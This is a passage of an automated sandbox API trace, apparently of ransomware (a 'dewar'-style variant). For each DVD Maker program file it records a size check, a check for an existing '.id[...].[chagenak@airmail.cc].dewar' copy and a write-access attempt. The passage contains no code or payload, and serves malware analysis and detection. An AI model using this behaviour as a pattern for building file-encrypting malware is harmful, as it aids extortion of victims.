(hEvent=0x118) returned 1 [0257.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.812] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=205220) returned 1 [0257.813] CloseHandle (hObject=0x1e0) returned 1 [0257.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv")) returned 0x20 [0257.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv")) returned 0x20 [0257.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.816] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=61220) returned 1 [0257.816] CloseHandle (hObject=0x1e0) returned 1 [0257.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv")) returned 0x20 [0257.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv")) returned 0x20 [0257.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.818] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=61220) returned 1 [0257.818] CloseHandle (hObject=0x1e0) returned 1 [0257.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv")) returned 0x20 [0257.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv")) returned 0x20 [0257.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.824] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=229220) returned 1 [0257.824] CloseHandle (hObject=0x1e0) returned 1 [0257.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv")) returned 0x20 [0257.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv")) returned 0x20 [0257.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.825] SetEvent (hEvent=0x118) returned 1 [0257.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.826] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2820) returned 1 [0257.826] CloseHandle (hObject=0x1e0) returned 1 [0257.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png")) returned 0x20 [0257.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png")) returned 0x20 [0257.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.828] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=19846) returned 1 [0257.828] CloseHandle (hObject=0x1e0) returned 1 [0257.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png")) returned 0x20 [0257.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png")) returned 0x20 [0257.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.367] SetEvent (hEvent=0x118) returned 1 [0258.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0258.368] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3081) returned 1 [0258.368] CloseHandle (hObject=0x1e0) returned 1 [0258.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png")) returned 0x20 [0258.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png")) returned 0x20 [0258.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0258.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0258.371] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=27691) returned 1 [0258.371] CloseHandle (hObject=0x1e0) returned 1 [0258.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png")) returned 0x20 [0258.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png")) returned 0x20 [0258.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0258.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0258.373] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=56543) returned 1 [0258.373] CloseHandle (hObject=0x1e0) returned 1 [0258.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png")) returned 0x20 [0258.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png")) returned 0x20 [0258.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0258.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0258.376] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=7261) returned 1 [0258.376] CloseHandle (hObject=0x1e0) returned 1 [0258.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png")) returned 0x20 [0258.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png")) returned 0x20 [0258.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0258.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0258.379] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=23722) returned 1 [0258.379] CloseHandle (hObject=0x1e0) returned 1 [0258.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png")) returned 0x20 [0258.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png")) returned 0x20 [0258.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0258.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0258.381] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=14239) returned 1 [0258.381] CloseHandle (hObject=0x1e0) returned 1 [0258.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml")) returned 0x20 [0258.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml")) returned 0x20 [0258.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0258.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0258.385] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=36575) returned 1 [0258.385] CloseHandle (hObject=0x1e0) returned 1 [0258.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx")) returned 0x20 [0258.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx")) returned 0x20 [0258.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0258.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\similar.exe" (normalized: "c:\\program files\\dvd maker\\similar.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0258.389] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=78336) returned 1 [0258.390] CloseHandle (hObject=0x1e0) returned 1 [0258.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\similar.exe" (normalized: "c:\\program files\\dvd maker\\similar.exe")) returned 0x20 [0258.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\similar.exe" (normalized: "c:\\program files\\dvd maker\\similar.exe")) returned 0x20 [0258.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\similar.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\similar.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0258.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\similar.exe" (normalized: "c:\\program files\\dvd maker\\similar.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0258.392] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=79360) returned 1 [0258.393] CloseHandle (hObject=0x1e0) returned 1 [0258.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax")) returned 0x20 [0258.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax")) returned 0x20 [0258.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0258.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0258.395] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=51712) returned 1 [0258.395] CloseHandle (hObject=0x1e0) returned 1 [0258.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax")) returned 0x20 [0258.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax")) returned 0x20 [0258.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0258.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 